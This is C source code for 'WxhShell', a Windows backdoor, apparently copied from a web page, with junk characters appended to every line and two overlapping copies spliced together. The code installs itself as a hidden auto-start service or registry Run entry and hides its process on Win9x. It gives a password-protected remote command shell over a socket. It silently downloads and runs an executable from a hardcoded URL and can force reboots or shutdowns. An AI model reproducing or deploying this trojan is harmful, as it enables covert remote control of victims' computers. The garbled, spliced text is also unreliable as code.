    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :H>0/^Mg0  
    if(Boot(SHUTDOWN)) w+iI ay  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^y[- e9O|  
    else { .1 jeD.l  
    closesocket(wsh); , FR/X/8  
    ExitThread(0); U&0 RQ:B  
    } *vOk21z77d  
    break; Fhga^.5U&  
    } czT]XF  
  // 获取shell ]nq/y AF%  
  case 's': { :ka^ ztXG  
    CmdShell(wsh); =Y5_@}\0  
    closesocket(wsh); xM![  
    ExitThread(0); *M'/z=V?%  
    break; dP=,<H#]m  
  } .+&M,% x  
  // 退出 yaPx=^&  
  case 'x': { vrIWw?/z?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;Q0H7)t:  
    CloseIt(wsh); OJD!Ar8Q  
    break; a?@lX>Z  
    } }z5u^_-m  
  // 离开 ~W-5-Nl{s  
  case 'q': { 5 Q/yPQN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %Ot*k%F  
    closesocket(wsh); <YvW /x  
    WSACleanup(); a"^rOiXR{  
    exit(1); CIj7' V  
    break; ]A:8x`z#F  
        } 2YK2t<EO  
  } w9675D+  
  } V/BU(`~i  
pj Md  
  // 提示信息 f<M!L> +M6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r9n:[A&HE  
} -Eoq#ULvR  
  } L| ;WE=  
otlv ;3263  
  return; R#ZO<g%'  
} gv,1 CK  
X'j9l4Ph7  
// shell模块句柄 i5SDy(?r  
int CmdShell(SOCKET sock) /Ow@CB  
{ ^O,r8K{1n  
STARTUPINFO si; d ;i@9+  
ZeroMemory(&si,sizeof(si)); CW -[c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F<DXPToX%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O]KQ]zN  
PROCESS_INFORMATION ProcessInfo; EAlLxXDDh  
char cmdline[]="cmd"; XrI$@e*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f$qkb$?]}  
  return 0; }6gum  
} I.it4~]H  
%Z*N /nU  
// 自身启动模式 w<Bw2c  
int StartFromService(void) J3$@: S'  
{ tGF3Hw^mS  
typedef struct tac\Ki?  
{ 6G{ Q@  
  DWORD ExitStatus; $e:bDZ(hjj  
  DWORD PebBaseAddress; #I\" 'n5M  
  DWORD AffinityMask; V3ExS1fNf  
  DWORD BasePriority; <==6fc>s  
  ULONG UniqueProcessId; g([M hf#  
  ULONG InheritedFromUniqueProcessId; AF>t{rw=/  
}   PROCESS_BASIC_INFORMATION; KW/LyiP#  
I3u)y|Y=  
PROCNTQSIP NtQueryInformationProcess; ZS[Ut  
D"exI]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1u"#rC>7.4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @hy~H?XN  
nd&i9l  
  HANDLE             hProcess; t9)S^: 0  
  PROCESS_BASIC_INFORMATION pbi; AcHeZb8b  
vU$n*M1`$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @M"( r"ab  
  if(NULL == hInst ) return 0; '$ [%x  
=|dHD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V>D}z8w7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,&L}^Up  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qfjUJ/  
a'A<'(yv  
  if (!NtQueryInformationProcess) return 0; W}#n.c4+  
wF3 MzN=%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r"|.`$:B  
  if(!hProcess) return 0; C[5dhFZ  
^PUB~P/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }}Z2@}  
6"; ITU^v  
  CloseHandle(hProcess); mF4y0r0  
.A0fI";Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $9@AwS@Uu  
if(hProcess==NULL) return 0; MBAj.J  
zO@>)@~  
HMODULE hMod; hzT)5'_  
char procName[255]; F@mxd  
unsigned long cbNeeded; L|B! ]}  
zrf tF2U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _!_1=|[  
#\_ 8y`{x  
  CloseHandle(hProcess); ]LEaoOecu  
J57; X=M  
if(strstr(procName,"services")) return 1; // 以服务启动 F)v  
UZ#oaD8H6  
  return 0; // 注册表启动 %> 5>wP   
} pC #LQ  
7O:g;UI#  
// 主模块 N,l"9>CF  
int StartWxhshell(LPSTR lpCmdLine) VJ?>o  
{ +bT[lJ2O>G  
  SOCKET wsl; X?XB!D7[  
BOOL val=TRUE; K)5j  
  int port=0; aNA ]hl  
  struct sockaddr_in door; ]k'^yc{5  
gA% A})  
  if(wscfg.ws_autoins) Install(); \BN$WV  
{ {:Fs  
port=atoi(lpCmdLine); %ZX9YuXQ  
:(wFNK/0{  
if(port<=0) port=wscfg.ws_port; k1ja ([Q  
FBbaLqgVF{  
  WSADATA data; ~Z!YB,)bp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n$v4$_qS  
WA0D#yuJ/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pWq+`|l$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o\]U;#YD  
  door.sin_family = AF_INET; ]^T-X/v9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T]nAz<l),  
  door.sin_port = htons(port); r)OiiD"  
-/V(Z+dj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E AZX  
closesocket(wsl); e<*qaUI  
return 1; F-oe49p5e  
} >\w]i*%  
dfKGO$}V  
  if(listen(wsl,2) == INVALID_SOCKET) { Ow.DBL)x'>  
closesocket(wsl); r/HTkXs I  
return 1; O6vxp?:^  
} /|<S D.:  
  Wxhshell(wsl); =,h'}(z_  
  WSACleanup(); [`s0 L#  
j--byk6PB  
return 0; 6B|i-b $~  
S[zGA<}  
} XH@(V4J(.  
L#uU. U=  
// 以NT服务方式启动 kkWv#,qwU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x^1d9Z  
{ g6;smtu_T  
DWORD   status = 0; O5Z9`_9<  
  DWORD   specificError = 0xfffffff; OM{^F=Ap  
n:2._s T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [0aC]XQZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M=lU`Sm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .a7RGT3]m  
  serviceStatus.dwWin32ExitCode     = 0; C=]<R< Xy  
  serviceStatus.dwServiceSpecificExitCode = 0; MkL2I+*  
  serviceStatus.dwCheckPoint       = 0; _U-`/r o  
  serviceStatus.dwWaitHint       = 0; 9} m?E<6&  
GBT|1c'i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ! |UX4  
  if (hServiceStatusHandle==0) return; X^K^az&L  
/t`\b [  
status = GetLastError(); cz{`'VN}`  
  if (status!=NO_ERROR) {\CWoFht>  
{ 0c`nk\vUy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c)B3g.C4m  
    serviceStatus.dwCheckPoint       = 0; n6+h;+8;]  
    serviceStatus.dwWaitHint       = 0; T!ZjgCY}  
    serviceStatus.dwWin32ExitCode     = status;  WZY+c  
    serviceStatus.dwServiceSpecificExitCode = specificError; (RV#piM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >}%#s`3W1_  
    return; AvB=/p@]  
  } IZ7o6Etti  
_ +NjfF|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2#sFY/@  
  serviceStatus.dwCheckPoint       = 0; [DH4iG5  
  serviceStatus.dwWaitHint       = 0; 7QNx*8p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X:$vP'B>  
} yF? O+9R A  
"a(4])  
// 处理NT服务事件,比如:启动、停止 Z,e|L4&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R54ae:8  
{ I;%1xdPt  
switch(fdwControl) \X _}\_c,d  
{ _uLpU4# ?  
case SERVICE_CONTROL_STOP: BDvkY  
  serviceStatus.dwWin32ExitCode = 0; ,]7ouH$H}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HI 1T  
  serviceStatus.dwCheckPoint   = 0; 'jfE?ngt  
  serviceStatus.dwWaitHint     = 0; hTzj{}w  
  { R[j?\#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z4Dx:m-  
  } |-b\N6 }  
  return; n:OXv}pv  
case SERVICE_CONTROL_PAUSE: #UoFU{6tM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &:&l+  
  break; ix2i.wdD  
case SERVICE_CONTROL_CONTINUE: }P0bNY5?%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7@\.()  
  break; "Zh,;)hS  
case SERVICE_CONTROL_INTERROGATE: L"vrX  
  break; Q=Mv"~2>B  
}; O- QT+]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8wvHg_U6W  
} {)lZfj}l  
2HmK['(  
// 标准应用程序主函数 ch]Qz[d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T`":Q1n  
{ <O0tg[ub  
i0K 2#}=^  
// 获取操作系统版本 &)tiO>B^6  
OsIsNt=GetOsVer(); G=|?aK{p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1F,U^O  
oo\^}jb  
  // 从命令行安装 AXHY$f|  
  if(strpbrk(lpCmdLine,"iI")) Install(); r=0PW_r:  
|ugdl|f  
  // 下载执行文件 SyVXXk 0  
if(wscfg.ws_downexe) { #%@bZ f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?.Vuet  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lw,}wM5X  
} {l,&F+W$C  
LYECX  
if(!OsIsNt) { P"^Yx8L#  
// 如果时win9x,隐藏进程并且设置为注册表启动 <q!HY~"V  
HideProc(); ,HTwEq>-G  
StartWxhshell(lpCmdLine); kD)31P  
} b4cTn 6  
else 7>y]uT@ar  
  if(StartFromService()) v4s4D1}  
  // 以服务方式启动 bWp:!w#K  
  StartServiceCtrlDispatcher(DispatchTable); W ,6q1  
else iv_3R}IbX  
  // 普通方式启动 JI]Lz1i  
  StartWxhshell(lpCmdLine); (0q`eO2  
jn|NrvrX  
return 0; GqL&hbpi  
} 5@%Gq)z5  
\ YF@r7  
4;J.$  
>~Zj  
=========================================== X}(X\rp  
[-VH%OM  
j!i* &  
8xAIn>,_  
>y#MEN>?  
V'=;M[&  
" x)dLY.'|  
Z40k>t D  
#include <stdio.h> OP=brLGu0  
#include <string.h> Yq00<kIDJ  
#include <windows.h> E/oLE^yL  
#include <winsock2.h> T90O.]S  
#include <winsvc.h> qfl!>  
#include <urlmon.h> X5/j8=G H`  
V[kJ;YLPN  
#pragma comment (lib, "Ws2_32.lib") @NA+Ma{N  
#pragma comment (lib, "urlmon.lib") ^UKY1Q .  
C;HEv q7  
#define MAX_USER   100 // 最大客户端连接数 $7Hwu^c(  
#define BUF_SOCK   200 // sock buffer v\6.#>NQ  
#define KEY_BUFF   255 // 输入 buffer ##Pzc~xSn  
#M!$CGi (  
#define REBOOT     0   // 重启 ^-PYP:*  
#define SHUTDOWN   1   // 关机 "r@#3T$  
5}hQIO&^%  
#define DEF_PORT   5000 // 监听端口 A+M4=  
/} PdO  
#define REG_LEN     16   // 注册表键长度 m}?jU  
#define SVC_LEN     80   // NT服务名长度 #Y7iJPO  
];Noe9o  
// 从dll定义API faRQj:R8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?GNR ab  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9)vU/fJ|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jc_k\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /r'Fq =z  
>$rH,Er  
// wxhshell配置信息 }w35fG^  
struct WSCFG { P?>:YY53  
  int ws_port;         // 监听端口 yOlVS@7  
  char ws_passstr[REG_LEN]; // 口令 ]@z!r2[  
  int ws_autoins;       // 安装标记, 1=yes 0=no &77J,\C$:  
  char ws_regname[REG_LEN]; // 注册表键名 w,j!%N  
  char ws_svcname[REG_LEN]; // 服务名 N7"cMAs\G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2Xv}JPS2As  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [rcM32  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3Y)z{o>P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K\Q4u4DjbJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -FZNk}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /'DAB**  
+sn0bi/rG  
}; v2]N5  
?SYmsaSr5  
// default Wxhshell configuration ,x&WE@tD |  
struct WSCFG wscfg={DEF_PORT, @*xP A  
    "xuhuanlingzhe", _X?_|!;J  
    1, bvB7d` wx  
    "Wxhshell", C~>0K,C0^  
    "Wxhshell", !U4YA1>>  
            "WxhShell Service", g/$RuT2U  
    "Wrsky Windows CmdShell Service", G L0P&$h  
    "Please Input Your Password: ", aO inD  
  1, r\fkx>  
  "http://www.wrsky.com/wxhshell.exe", [Y`E"1f2  
  "Wxhshell.exe" lQ^"-zO4  
    }; *N ~'0"#  
=jm\8sl~~  
// 消息定义模块 Ew.6y=Ba  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {Q$8p2W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |a7Kn/[`,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L:&'z:,<  
char *msg_ws_ext="\n\rExit."; e`LvHU_0  
char *msg_ws_end="\n\rQuit."; %F150$(D  
char *msg_ws_boot="\n\rReboot..."; \>oy2{=;'  
char *msg_ws_poff="\n\rShutdown..."; oc-&}R4=  
char *msg_ws_down="\n\rSave to "; GJU(1%-  
imM#zy  
char *msg_ws_err="\n\rErr!"; t 4M-;y  
char *msg_ws_ok="\n\rOK!"; a6 :hH@,  
T-4dD  
char ExeFile[MAX_PATH]; 3jfAv@I~  
int nUser = 0; wU'+4N".  
HANDLE handles[MAX_USER]; J=kf KQV  
int OsIsNt; fA1{-JzV<4  
VPO~veQ  
SERVICE_STATUS       serviceStatus; PQ_A^95  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AwuhF PG  
w#BT/6W&G  
// 函数声明 OD Ry  
int Install(void); 2H8\P+  
int Uninstall(void); cna%;f.  
int DownloadFile(char *sURL, SOCKET wsh); w ?"M  
int Boot(int flag); (O!CH N!:  
void HideProc(void); &%(Dd  
int GetOsVer(void); `N}V i6FG  
int Wxhshell(SOCKET wsl); QaE!?R  
void TalkWithClient(void *cs); (8ct'Q;  
int CmdShell(SOCKET sock); PVxu8n  
int StartFromService(void); ~S~+'V,d  
int StartWxhshell(LPSTR lpCmdLine); @v&P;=lU  
pR2U&OA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z-}A "n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {Qd oI Pr3  
dqB N_P%  
// 数据结构和表定义 /9SoVU8  
SERVICE_TABLE_ENTRY DispatchTable[] = \AI-x$5R*  
{ 7$0bgWi  
{wscfg.ws_svcname, NTServiceMain}, VL"Cxs  
{NULL, NULL} fO#nSB/ 8  
}; :! $+dr(d  
#Ddo` >`&  
// 自我安装 /Trbr]lWy  
int Install(void) 7&jq  =  
{ 3TV4|&W;  
  char svExeFile[MAX_PATH]; * _usVg  
  HKEY key; 8qfXc ^6  
  strcpy(svExeFile,ExeFile); @Wm:Rz  
NTK9`#SA  
// 如果是win9x系统,修改注册表设为自启动 rN.8-  
if(!OsIsNt) { aS>cXJ;=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }[c.OJ:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .n.N.e  
  RegCloseKey(key); Hd-g|'^K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 805oV(-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P%R9\iajH  
  RegCloseKey(key); ;ioF'ov  
  return 0; Zf??/+[  
    } fpO2bD%$8  
  } l  LBzY`j  
} G|t0no\f  
else { !"hzGgOOX  
vq3:N'  
// 如果是NT以上系统,安装为系统服务 5L7 nEia'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5K&A2zC|  
if (schSCManager!=0) }2c&ARQ.m>  
{ ;1_3E2E$  
  SC_HANDLE schService = CreateService 5D7k[+6  
  ( |{,c2 Ck:N  
  schSCManager, W"t^t|H'~  
  wscfg.ws_svcname, \j.l1O  
  wscfg.ws_svcdisp, |h/{ qpsu  
  SERVICE_ALL_ACCESS, sUiO~<Ozpk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CZy3]O"qW  
  SERVICE_AUTO_START, <wd;W;B  
  SERVICE_ERROR_NORMAL, 96; gzG@1!  
  svExeFile, /#t::b+>x  
  NULL, M U '-  
  NULL, m' |wlI[lq  
  NULL, <4zSh3  
  NULL, sC2NFb-+&  
  NULL 9`^(M^|c  
  ); L0{ [L  
  if (schService!=0) 4Xwb`?}-  
  { "HH<5  M  
  CloseServiceHandle(schService); ^e $!19g  
  CloseServiceHandle(schSCManager); 7&]|c?([4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J5<1 6}*  
  strcat(svExeFile,wscfg.ws_svcname); $|[N3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rmWs o b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6p&uifY}tR  
  RegCloseKey(key); xDS]k]/(T  
  return 0;  %(K}1[  
    } *p\fb7Pu_3  
  } zqQ[uO]m?  
  CloseServiceHandle(schSCManager); /Ah'KN|EN  
} .SSyW{a3w  
} sint":1FC  
Oc.8d<  
return 1; '0o^T 7C  
} t0/Ol'kgs  
cBOt=vg,5  
// 自我卸载 4? rEO(SZ  
int Uninstall(void) 1M55!b  
{ |(,{&\  
  HKEY key; ,R7j9#D  
+^AAik<yl  
if(!OsIsNt) { tWaGCxaE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uz20pun4B  
  RegDeleteValue(key,wscfg.ws_regname); z_A\\  
  RegCloseKey(key); v:9'k~4)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LN5q_ZvR  
  RegDeleteValue(key,wscfg.ws_regname); ~6QV?j  
  RegCloseKey(key); J*:_3Wsy  
  return 0; 497l2}0  
  } Tfv @oPu  
} &%(SkL_]  
} *%atE  
else { l0ZK)  
L`9.Gf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E7w^A  
if (schSCManager!=0) . _Jypk8  
{ 9JILK9mVO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8|L5nQ  
  if (schService!=0) & \"cV0  
  { WYcZD_  
  if(DeleteService(schService)!=0) { (hKjr1s  
  CloseServiceHandle(schService); jzWgyI1b  
  CloseServiceHandle(schSCManager); #~qza ETv,  
  return 0; fwUF5Y  
  } $DnR[V}rR!  
  CloseServiceHandle(schService); &wu1Zz[qcz  
  } Y$./!lVY  
  CloseServiceHandle(schSCManager); ^\\9B-MvY  
} =`C K`x  
} #i.BOQxS  
gt~u/Z%  
return 1; _oefp*iWS  
} f^IB:e#j;  
$kkL)O*"]  
// 从指定url下载文件 NH=@[t) P,  
int DownloadFile(char *sURL, SOCKET wsh) iex]J@=e  
{ {FILt3f;  
  HRESULT hr; * {p:C  
char seps[]= "/"; N6A|  
char *token; xnw'&E  
char *file; 2<'ol65/c  
char myURL[MAX_PATH]; :eevc7  
char myFILE[MAX_PATH]; R 4DfqX  
NMrf I0tbG  
strcpy(myURL,sURL); "st+2#{  
  token=strtok(myURL,seps); g~9b_PY9  
  while(token!=NULL) l!\~T"-7;:  
  { d+0= a]  
    file=token; hm<:\(q  
  token=strtok(NULL,seps); 9gIim   
  } I@#IXH?6  
6 lEv<)cC  
GetCurrentDirectory(MAX_PATH,myFILE); CqU^bVs  
strcat(myFILE, "\\"); ]Qp-$)N  
strcat(myFILE, file); 7lwFxP5QT  
  send(wsh,myFILE,strlen(myFILE),0); `ah"Q;d$  
send(wsh,"...",3,0); M}=>~TA@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 13Q87i5B  
  if(hr==S_OK) P1$D[aF9$  
return 0; 3m$Qd#|  
else uy<b5.!-  
return 1; 'jy e*  
6%wlz%Fp  
} jL'R4z  
u6MU @?  
// 系统电源模块 hyhm{RC?[  
int Boot(int flag) Y&DoA0/y  
{ cXYE !(  
  HANDLE hToken; O+=}x]q*y  
  TOKEN_PRIVILEGES tkp; sl P>;  
K<pZ*l  
  if(OsIsNt) { VAqZ`y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3h A5"G+7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EDF0q i  
    tkp.PrivilegeCount = 1; ^D ;EbR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KYz@H#M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q DKY7"H  
if(flag==REBOOT) { Jq8v69fyQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;r.#|b  
  return 0; ,;<M+V3+  
} HJlxpX$_  
else { _|;{{8*?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z 8#{=e  
  return 0; nFn}  
} 2 ksbDl}  
  } )/2TU]//  
  else { > -(Zx  
if(flag==REBOOT) { e ]{=#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ( iJ /  
  return 0; ^7=h%{ >=  
} >Dz8+y  
else { =hI;5KF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TS=U%)Ik  
  return 0; ;sx4w!Y,  
} s'Qmr s a  
} :H:+XIgoR  
f=7[GZoDn  
return 1; \vS > jB  
} 9j5-/   
6(ER$  
// win9x进程隐藏模块 !lM.1gTTC  
void HideProc(void) [Ov/&jD"  
{ aO bp"  
g*w}m>O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JLg/fB3%  
  if ( hKernel != NULL )  OAgZeK$  
  { )XoMOz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k3]qpWKj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q &S@\b  
    FreeLibrary(hKernel); O2U}jHsd  
  } [EK^0g   
d vo|9 >  
return; !:}m-iqQ1  
} iI &z5Q2  
_'n]rQ'  
// 获取操作系统版本 9XUk.Nek  
int GetOsVer(void) b%0@nu4  
{ dh%DALZ8t  
  OSVERSIONINFO winfo; V`1x![\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6l2Os $  
  GetVersionEx(&winfo); u}rJqZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NH*"AE;  
  return 1; 7Rc>LI* '  
  else 6:Y2z!MLO  
  return 0; NW&2ca  
} as!P`*@  
GXRW"4eF5  
// 客户端句柄模块 sN) xNz  
int Wxhshell(SOCKET wsl) (.5Ft^3W  
{ <vb7X  
  SOCKET wsh; Q9;VSF)  
  struct sockaddr_in client; *Y!RU{w+Z  
  DWORD myID; b~<:k\EE  
f>&*%[fw  
  while(nUser<MAX_USER) *<}R=X.  
{ 46B'Ec  
  int nSize=sizeof(client); ]Z52L`k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Ynrw4[)t  
  if(wsh==INVALID_SOCKET) return 1; ][XCpJ)8  
VA %lJ!$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p Ohjq#}  
if(handles[nUser]==0) ^/xb-tuV  
  closesocket(wsh); @xk;]H80  
else t[AA=  
  nUser++; vJsg6oH  
  } BA8!NR|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =F5zU5`i  
Tr;&bX5]H  
  return 0; 7g%\+%F I  
} nHU}OGzW  
E!>MJlA:k6  
// 关闭 socket \!%~( FM  
void CloseIt(SOCKET wsh) %MEWw  
{ +"|TPKas  
closesocket(wsh); {!!8 *ix  
nUser--; (`R heEg@f  
ExitThread(0); &!FI!T -WH  
} itcM-?  
#/\Zo &V8  
// 客户端请求句柄 fw a*|y;  
void TalkWithClient(void *cs) ZS`9r16@b  
{ ;q#Pl!*5  
GgE 38~A4  
  SOCKET wsh=(SOCKET)cs; -MORd{GF  
  char pwd[SVC_LEN]; Qo*OC 9E`  
  char cmd[KEY_BUFF]; s{42_O?,c  
char chr[1]; nB/`~_9  
int i,j; ?u0qYep:  
i@ 86Ez  
  while (nUser < MAX_USER) { D r"PS >.  
=Wz)(N  
if(wscfg.ws_passstr) { A7T(p7pP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uC[F'\Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0C6T>E7  
  //ZeroMemory(pwd,KEY_BUFF); 7y$U$6  
      i=0; 3FMYs&0r4  
  while(i<SVC_LEN) { ^Cj3\G4,  
9V;A +d,  
  // 设置超时 E 0@u|  
  fd_set FdRead; ]Y$jc  
  struct timeval TimeOut; t@iw&> 8z  
  FD_ZERO(&FdRead); E5Ls/ H K  
  FD_SET(wsh,&FdRead); O(:/ &`)  
  TimeOut.tv_sec=8; $&i8/pD  
  TimeOut.tv_usec=0; ]?NiY:v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tg9{(_ t/W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zq:c2/\c}  
lg{M\ +  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u)%/df qzZ  
  pwd=chr[0]; L D%SLJ:  
  if(chr[0]==0xd || chr[0]==0xa) { Pj5:=d8z(  
  pwd=0; IBW-[lr7  
  break; .k%/JF91n  
  } 98vn"=3  
  i++; o)'06FF\$  
    } D4?cnwU  
JM53sx4&  
  // 如果是非法用户,关闭 socket <L2z|%`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =dp`4N  
} R'oGsaPB2  
h dqr~9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $8Z4jo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S7@/d HN  
cqcH1aSv  
while(1) { '>Thn{  
n 8FIxl&u  
  ZeroMemory(cmd,KEY_BUFF); j{/5i`5m  
V}FH5z |  
      // 自动支持客户端 telnet标准   4{0vdpo3F  
  j=0; Fu[GQ6{f  
  while(j<KEY_BUFF) { &<cP{aBa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d^0-|sx  
  cmd[j]=chr[0]; E#cu}zi  
  if(chr[0]==0xa || chr[0]==0xd) { b{ tp qNm~  
  cmd[j]=0; hI*6f3Vn(n  
  break; 'u_j5  
  } 4~hP25q  
  j++; ={jj'X9  
    } 5D mSgP:  
cs4IO O$  
  // 下载文件 }|j#C[  
  if(strstr(cmd,"http://")) { vorb?iVf>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dw,LB>Eq,  
  if(DownloadFile(cmd,wsh)) n>)h9q S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Of\l:q*  
  else g``S SU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c4bvJy8  
  } 7lr;S(C  
  else { OUN"'p%%  
